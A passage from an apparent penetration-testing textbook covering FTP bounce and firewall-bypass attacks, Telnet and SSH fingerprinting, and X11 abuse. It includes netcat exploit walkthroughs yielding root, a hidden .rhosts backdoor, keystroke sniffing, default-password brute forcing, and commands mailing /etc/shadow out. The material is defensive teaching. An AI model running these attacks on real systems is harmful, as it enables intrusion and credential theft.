To analyze FTP service banners you will grab when performing assessment exercises, use the banner list in Table 8-1.

Linux and BSD-derived systems (including Mac OS X) are often found running other FTP implementations, including WU-FTPD, ProFTPD, NcFTPd, vsftpd, and Pure-FTPd. Table 8-2 lists FTP banners for these implementations.

You can use Nmap to perform an FTP bounce port scan, using the -P0 and -b flags in the following manner:

            nmap -P0 -b username:password@ftp-server:port <target host>

Example 8-5 shows an FTP bounce port scan being launched through the Internet-based 142.51.17.230 to scan an internal host at 192.168.0.5, a known address previously enumerated through DNS querying.

$ nmap -P0 -b 142.51.17.230 192.168.0.5 -p21,22,23,25,80

Starting Nmap 4.10 ( http://www.insecure.org/nmap/ ) at 2007-04-01 20:39 UTC
Interesting ports on  (192.168.0.5):
Port       State       Service
21/tcp     open        ftp
22/tcp     open        ssh
23/tcp     closed      telnet
25/tcp     closed      smtp
80/tcp     open        http

If you can upload a binary file containing a crafted buffer overflow string to an FTP server that in turn is vulnerable to a bounce attack, you can then send that information to a specific service port. This concept is shown in Figure 8-2.

Figure 8-2. An illustration of the FTP payload bounce attack

For this type of attack to be effective, an attacker needs to authenticate and log into the FTP server, locate a writable directory, and test to see if the server is susceptible to FTP bounce attacks. Solaris 2.6 is an excellent example because in its default state it is vulnerable to FTP bounce and RPC service overflow attacks. Binary exploit data isn’t the only type of payload that can be bounced through a vulnerable FTP server: spammers have also sent unsolicited email messages this way.

Since 1995 when Hobbit released his first white paper on the issue of FTP abuse, a number of similar documents and approaches have been detailed. The CERT web site has a good description of the issue with background information, accessible at http://www.cert.org/tech_tips/ftp_port_attacks.html.

The PORT command defines a dynamic high port from which the client system receives data. Most firewalls perform stateful inspection of FTP sessions, so the PORT command populates the state table.

Figure 8-3 shows a client system that connects to an FTP server through a firewall and issues a PORT command to receive data. A short explanation of the command follows.

Figure 8-3. The PORT command populates the firewall state table

The reason that port 1039 is opened is because the last two digits in the PORT command argument (4 and 15) are first converted to hexadecimal:

The two values then concatenate to become 0x040F, and a tool such as the Base Converter application found in Hex Workshop (available from http://www.bpsoft.com) is used to find the decimal value, as shown in Figure 8-4.

Figure 8-4. Converting the concatenated hex value to a port number

Most modern commercial firewalls (with the exception of earlier Cisco PIX releases) enforce the rule that FTP holes punched through the firewall must be to ports above 1024. For example, if an attacker could send a crafted outbound PORT command as part of an established FTP session from the protected server (i.e., the FTP server in Figure 8-2), he could access services running on high ports, such as RPC services.

Lopatic et al. built on the PORT abuse approach and came up with an attack involving abuse of the PASV command. This attack fools stateful firewalls (Check Point Firewall-1, Cisco PIX, etc.) into opening high ports on a protected FTP server, in turn allowing for direct exploitation via a crafted exploit payload that is delivered through the firewall to the open high port.

By advertising a small Maximum Transmission Unit (MTU) value, an attacker can abuse the PASV command and open ports on the target FTP server through a stateful firewall such as Check Point Firewall-1 or Cisco PIX.

In the following example (demonstrated at Black Hat 2000), John McDonald compromised an unpatched Solaris 2.6 server behind a Check Point Firewall-1 appliance filtering access to all ports except for FTP (TCP port 21).

McDonald crafted two exploit payloads (named killfile and hackfile) to overflow the TTDB service running on TCP port 32775 of the target host. For the exploit to be effective, the TTDB service must be forcefully restarted using killfile, then hackfile replaces the /usr/sbin/in.ftpd binary with /bin/sh. The following is a demonstration of this process.

First, set the MTU for the network card of the Linux launch system to 100:

$ /sbin/ifconfig eth0 mtu 100

Next, connect to the target FTP server (172.16.0.2) on port 21 using Netcat (a useful networking tool that is available from http://netcat.sourceforge.net), and issue a long string of characters followed by a crafted FTP server response:

$ nc -vvv 172.16.0.2 21
172.16.0.2: inverse host lookup failed:
(UNKNOWN) [172.16.0.2] 21 (?) open
220 sol FTP server (SunOS 5.6) ready.
XXXXXXXXXXXXXXXXXXXXX227 (172,16,0,2,128,7)
500 Invalid command given: XXXXXXXXXXXXXXXXXXXXX
[1]+ Stopped nc -vvv 172.16.0.2 21

The effect of setting the low MTU is detailed in Figure 8-5, resulting in the 227 (172,16,0,2,128,7) server response being processed by the firewall and added to the state table. You can now send data to TCP port 32775 on 172.16.0.2.

Figure 8-5. The FTP error response is broken by the low MTU

Now that the port is open, use Netcat to push the killfile binary data to port 32775 and restart the TTDB service:

$ cat killfile | nc -vv 172.16.0.2 32775
172.16.0.2: inverse host lookup failed:
(UNKNOWN) [172.16.0.2] 32775 (?) open
sent 80, rcvd 0

Then repeat the process to reopen the port on the target server:

$ nc -vvv 172.16.0.2 21
172.16.0.2: inverse host lookup failed:
(UNKNOWN) [172.16.0.2] 21 (?) open
220 sol FTP server (SunOS 5.6) ready.
XXXXXXXXXXXXXXXXXXXXX227 (172,16,0,2,128,7)
500 Invalid command given: XXXXXXXXXXXXXXXXXXXXX
[2]+ Stopped nc -vvv 172.16.0.2 21

Next, push the hackfile binary data, exploiting the TTDB service fully:

$ cat hackfile | nc -vv 172.16.0.2 32775
172.16.0.2: inverse host lookup failed:
(UNKNOWN) [172.16.0.2] 32775 (?) open
sent 1168, rcvd 0

If the buffer overflow has been successful, the FTP server binary is replaced with /bin/sh, giving command-line root access to the host:

$ nc -vvv 172.16.0.2 21
172.16.0.2: inverse host lookup failed:
(UNKNOWN) [172.16.0.2] 21 (?) open
id
uid=0(root) gid=0(root)

A number of glob( ) function vulnerabilities were uncovered in 2001 that related to Solaris and BSD FTP implementations. These issues are discussed here with practical exploitation examples.

$ telnet 192.168.0.12 21
Trying 192.168.0.12...
Connected to 192.168.0.12.
Escape character is '^]'.
220 lackie FTP server (SunOS 5.8) ready.
CWD ~blah
530 Please login with USER and PASS.
550 Unknown user name after ~
CWD ~test
530 Please login with USER and PASS.
550 Unknown user name after ~
CWD ~chris
530 Please login with USER and PASS.
QUIT
221 Goodbye.

WU-FTPD is a popular and easy-to-manage FTP service that many system administrators run across multiple Unix-like platforms (primarily Linux). Table 8-3 lists remotely exploitable WU-FTPD vulnerabilities with corresponding MITRE CVE references.

The majority of these issues are exploited postauthentication, requiring access to commands such as CWD and DELE upon logging in. They also sometimes require writable filesystem access from the FTP account in use to create file and directory structures.

ProFTPD is similar to WU-FTPD in that it can be run from multiple operating platforms. I often see ProFTPD running on FreeBSD and Slackware Linux in the wild. Table 8-5 lists serious remotely exploitable issues in ProFTPD as listed in MITRE CVE.

At the time of writing, the only serious vulnerabilities that threaten Microsoft IIS FTP services are denial-of-service issues, usually exploitable through an authenticated FTP session. Two remotely exploitable security issues in the IIS 4.0 and 5.0 FTP services are listed within MITRE CVE as CVE-2001-0335 and CVE-1999-0777; both are medium-risk issues relating to information leakage from the service.

A common oversight is for system administrators to set up Internet-based IIS FTP servers and leave anonymous guest access to the server enabled. I have seen such open servers used as public storage and distribution centers for pirated software and other material.

Table 8-7 lists known remotely exploitable and significant issues in other third-party FTP server packages. Exploitation frameworks, including MSF and CORE IMPACT, support a number of these issues.

If SSH-1.99 is reported by the SSH service, both SSH 1.5 and 2.0 protocols are supported. Some SSH clients, such as PuTTY, didn’t previously support SSH 2.0, and many administrators accordingly ran their services to be backward-compatible.

The following public exploit scripts are available for a number of these vulnerabilities in the accompanying tools archive for this book, at http://examples.oreilly.com/networksa/tools/. These exploit scripts are detailed in Table 8-10.

MSF has an exploit module for CVE-2006-2407 (FreeSSHd 1.0.9 key exchange overflow), but not for these other vulnerabilities at the time of this writing. For the full list of exploit modules that MSF supports in its stable branch, see http://framework.metasploit.com/exploits/list.

CORE IMPACT supports CVE-2003-0786, CVE-2002-0639, and CVE-2002-0083 (various OpenSSH vulnerabilities). Immunity CANVAS does not support any of these issues at the time of this writing.

You can use TelnetFP to accurately fingerprint the Telnet services of Windows, Solaris, Linux, BSD, SCO, Cisco, Bay Networks, and other operating platforms, based on low-level responses. The tool even has a scoring system to guess the service if an exact match isn’t seen. TelnetFP can be downloaded from http://packetstormsecurity.org/groups/teso/telnetfp_0.1.2.tar.gz.

After downloading and compiling TelnetFP, you can run it as follows:

$ ./telnetfp
telnetfp0.1.2 by palmers / teso
Usage: ./telnetfp [-v -d <file>] <host>
        -v:         turn off verbose output
        -t <x>:     set timeout for connect attemps
        -d <file>:  define fingerprints file
        -i (b|a):   interactive mode. read either b)inary or a)scii

The following is a good live example from a recent penetration test I undertook against a series of branch offices for a client (the host at 10.0.0.5 closes the connection immediately with a logon failed response):

$ telnet 10.0.0.5
Trying 10.0.0.5...
Connected to 10.0.0.5.
Escape character is '^]'.
logon failed.
Connection closed by foreign host.

Using TelnetFP, it’s possible to identify the Telnet service as that of a Multi-Tech Systems Firewall:

$ ./telnetfp 10.0.0.5
telnetfp0.1.2 by palmers / teso
DO:   255 251 3
DONT: 255 251 1
Found matching fingerprint: Multi-Tech Systems Firewall Version 3.00

Example 8-9 shows TelnetFP being run against a Linux host and a Cisco IOS router. Note that the tool doesn’t get an exact match for the Cisco device, but makes an educated guess.

$ ./telnetfp 192.168.189.42
telnetfp0.1.2 by palmers / teso
DO:   255 253 24 255 253 32 255 253 35 255 253 39
DONT: 255 250 32 1 255 240 255 250 35 1 255 240 255 250 39 1 255 24
Found matching fingerprint: Linux

$ ./telnetfp 10.0.0.249
telnetfp0.1.2 by palmers / teso
DO:   255 251 1 255 251 3 255 253 24 255 253 31
DONT: 13 10 13 10 85 115 101 114 32 65 99 99 101 115 115 32 86 101
Found matching fingerprint:
Warning: fingerprint contained wildcards! (integrity: 50)
probably some cisco

You can use the Telnet client to connect directly to an accessible Telnet service and fingerprint it based on the banner. The following Cisco Telnet service at 10.0.0.249 presents a standard Cisco IOS banner and password prompt:

$ telnet 10.0.0.249
Trying 10.0.0.249...
Connected to 10.0.0.249.
Escape character is '^]'.

User Access Verification

Password:

I have assembled a common Telnet banner list in Table 8-11 to help you accurately identify services and the underlying operating platforms.

Many devices such as routers, switches, and print servers are often left with default administrative passwords set. Table 8-12 lists common strings you should attempt for both usernames and passwords when brute-forcing network devices.

In the field, I have found many smaller manufacturers of routers (in particular ADSL routers for small offices and home users) use passwords of 1234 and 12345 for the admin or root accounts. These credentials are worth trying for device manufacturers not listed in Table 8-12.

The Phenoelit site has a comprehensive list of hundreds of default device passwords for over 30 manufacturers, accessible at http://www.phenoelit.de/dpl/dpl.html.

You can use dictionary files containing thousands of words when performing brute-force password grinding. Packet Storm has a number of useful lists at http://packetstormsecurity.org/crackers/wordlists/. The O’Reilly site also has a small collection of excellent word lists that I use on a daily basis; they are zipped and available for download at http://examples.oreilly.com/networksa/tools/wordlists.zip.

The public exploit scripts in Table 8-14 are available for a number of these vulnerabilities in the accompanying tools archive for this book, at http://examples.oreilly.com/networksa/tools/.

MSF has exploit modules for CVE-2001-0797 (System-V derived /bin/login static overflow) and CVE-2007-0882 (Solaris 10 and 11 -f client sequence bug). For the full list of exploit modules that MSF supports in its stable branch, see http://framework.metasploit.com/exploits/list.

CORE IMPACT also supports CVE-2001-0797 and CVE-2007-0882 (the two Solaris Telnet exploits supported by MSF). Immunity CANVAS only supports CVE-2001-0797 at this time.

The .rhosts file is in the user home directory under Unix and contains a list of username and IP address or machine hostname pairs, such as the following:

$ pwd
/home/chris
$ cat .rhosts
chris   mail.trustmatta.com
+       192.168.0.55
$

In this example, I can use any of the r-services (rsh, rlogin, or rexec) to connect to this host from mail.trustmatta.com if I am logged into the host as chris or from 192.168.0.55 with any username on that host.

When a user connects to the host running rshd (the remote shell daemon running on TCP port 514), the source IP address is cross-referenced against the .rhosts file, and the username is verified by querying the identd service running at the source. If these details are valid, direct access is given to the host without even requiring a password.

A simple yet effective backdoor for most Unix-based systems running rshd is to place an .rhosts file in the home directory of the bin user (/usr/bin/ under Solaris) containing the wildcards + +. Example 8-11 demonstrates planting this file to provide access to the host.

$ echo + + > /usr/bin/.rhosts
$ exit
hacker@launchpad/$ rsh -l bin 192.168.0.20 csh -i
Warning: no access to tty; thus no job control in this shell...
www% w
  5:45pm  up 33 day(s),  1 user,  load average: 0.00, 0.00, 0.01
User     tty           login@  idle   JCPU   PCPU  what
root     console      19Dec0219days                -sh
www%

A useful characteristic of the rshd service is that terminals aren’t assigned to processes run through rsh. This means that bin access through the rshd backdoor doesn’t appear in the utmp or wtmp logs, so it is cloaked within the system (not appearing within w or who listings).

The /etc/hosts.equiv file is a system-level file that defines trusted hostnames or IP addresses that can freely access r-services. SunOS 4.1.3_U1 shipped with a + wildcard in the /etc/hosts.equiv file, which allows attackers to instantly gain bin user access to SunOS 4.1.3_U1 servers with TCP port 514 open.

Exploit scripts for these vulnerabilities are publicly available from archive sites such as Packet Storm (http://www.packetstormsecurity.org). At the time of this writing, the only issue supported by MSF, CORE IMPACT, and Immunity CANVAS is CVE-2001-0797.

Host-based X authentication allows users to specify which IP addresses and hosts have access to the X server. The xhost command is used with + and − options to allow and deny X access from individual hosts (i.e., xhost +192.168.189.4). If the + option is used with no address, any remote host can access the X server.

xhost authentication is dangerous and doesn’t provide the granularity required in complex environments. By issuing an xhost − command, host-based authentication is disabled, and only local access is granted.

When a legitimate user logs in locally to X Windows, a magic cookie is placed into the .Xauthority file under the user’s home directory. The .Xauthority file contains one cookie for each X display the user can use; this can be manipulated using the xauth utility as shown here:

$ xauth list
onyx.example.org:0 MIT-MAGIC-COOKIE-1 d5d3634d2e6d64b1c078aee61ea846b5
onyx/unix:0 MIT-MAGIC-COOKIE-1 d5d3634d2e6d64b1c078aee61ea846b5
$

X server magic cookies can be placed into other user .Xauthority files (even on remote hosts) by simply copying the cookie and using xauth as follows:

$ xauth add onyx.example.org:0 MIT-MAGIC-COOKIE-1 d5d3634d2e6d64b1c078aee61ea846b5
$ xauth list
onyx.example.org:0 MIT-MAGIC-COOKIE-1 d5d3634d2e6d64b1c078aee61ea846b5
$

To list the open windows for a given accessible X server display, issue the following xwininfo command:

$ xwininfo -tree -root -display 192.168.189.66:0 | grep -i term
     0x2c00005 "root@onyx: /": ("GnomeTerminal" "GnomeTerminal.0")
     0x2c00014 "root@xserv: /": ("GnomeTerminal" "GnomeTerminal.0")

In this case, the output from xwininfo is piped through grep to identify open terminal sessions. In most cases, you are presented with a large number of open windows, so it’s useful to filter the output in this way.

Here, two open windows have hex window-ID values of 0x2c00005 and 0x2c00014. These ID values are needed when using tools to monitor and manipulate specific processes.

X11R6 has a built-in tool called xwd that can take snapshots of particular windows. The utility uses XGetImage( ) as the main function call to do this. The output can be piped into the xwud command, which displays xwd images. Here are two examples of the tool being run to gather screenshots:

Show the entire display at 192.168.189.66:0:

$ xwd -root -display 192.168.189.66:0 | xwud

Show the terminal session window at 0x2c00005:

$ xwd -id 0x2c00005 -display 192.168.189.66:0 | xwud

xwatchwin also takes updated screenshots every few seconds and is available at ftp://ftp.x.org/contrib/utilities/xwatchwin.tar.z.

If you specify a window ID using xwatchwin, it must be an integer instead of hex. The Window ID integer can be displayed if you add the -int option to xwininfo. Here are two command-line examples of the tool:

Show the entire display at 192.168.189.66:0:

$ ./xwatchwin 192.168.189.66 root

Show a specific window ID at 192.168.189.66:0:

$ ./xwatchwin 192.168.189.66 46268351

You can use two tools to capture keystrokes from exposed X servers: snoop and xspy, which are available at:

Upon compiling, you can run both tools from the command line. Two examples follow, showing how these tools can be used to log keystrokes. Example 8-13 shows xsnoop being used to monitor the specific window ID 0x2c00005.

$ ./xsnoop -h 0x2c00005 -d 192.168.189.66:0
www.hotmail.com
a12m
elidor

The entire 192.168.189.66:0 display can be monitored using xspy, as shown in Example 8-14.

$ ./xspy -display 192.168.189.66:0
John,

It was good to meet with your earlier on. I've enclosed the AIX
hardening guide as requested - don't hesitate to drop me a line if
you have any further queries!

Regards,

Mike

netscape
www.amazon.com
[email protected]
pa55w0rd!

Pushing keystrokes to specific windows has varying mileage depending on the X server. xpusher and xtester are two tools you can use; they are available at:

The xpusher and xtester programs take two different approaches when trying to send keystrokes to the remote X server. The xpusher tool uses the XsendEvent( ) function, and xtester takes advantage of the XTest extensions included with X11R6. Recent X servers mark remote input through XsendEvent( ) as synthetic and don’t process it, so I recommend the xtester route if you are assessing an X11R6 server.

Both tools are extremely simple to use when you know to which windows you want to send keystrokes (using the xwininfo utility). Two command-line examples of the xpusher and xtester usage follow; both email [email protected] the /etc/shadow file from the server.

Using xpusher to send commands to window 0x2c00005:

$ ./xpusher -h 0x2c00005 -display 192.168.189.66:0mail [email protected] <
/etc/shadow

Using xtester to send commands to window 0x2c00005:

$ ./xtester 0x2c00005 192.168.189.66:0mail [email protected] < /etc/shadow

Exploit scripts for these vulnerabilities are publicly available from archive sites such as Packet Storm (http://www.packetstormsecurity.org). At this time, the only issue supported by exploitation frameworks (including MSF, CANVAS, and IMPACT) is CVE-2001-0803 (DTSPCD overflow).

Exploit scripts for these vulnerabilities are publicly available from archive sites such as Packet Storm (http://www.packetstormsecurity.org). At the time of this writing, only Immunity CANVAS supports CVE-2007-0444 (Citrix print provider library stack overflow).

CORE IMPACT supports CVE-2006-2369 (RealVNC 4.1.1 authentication bypass). None of the issues listed in Table 8-19 are supported by Immunity CANVAS or MSF at this time. Public exploit scripts for these vulnerabilities are available from archive sites such as Packet Storm (http://www.packetstormsecurity.org).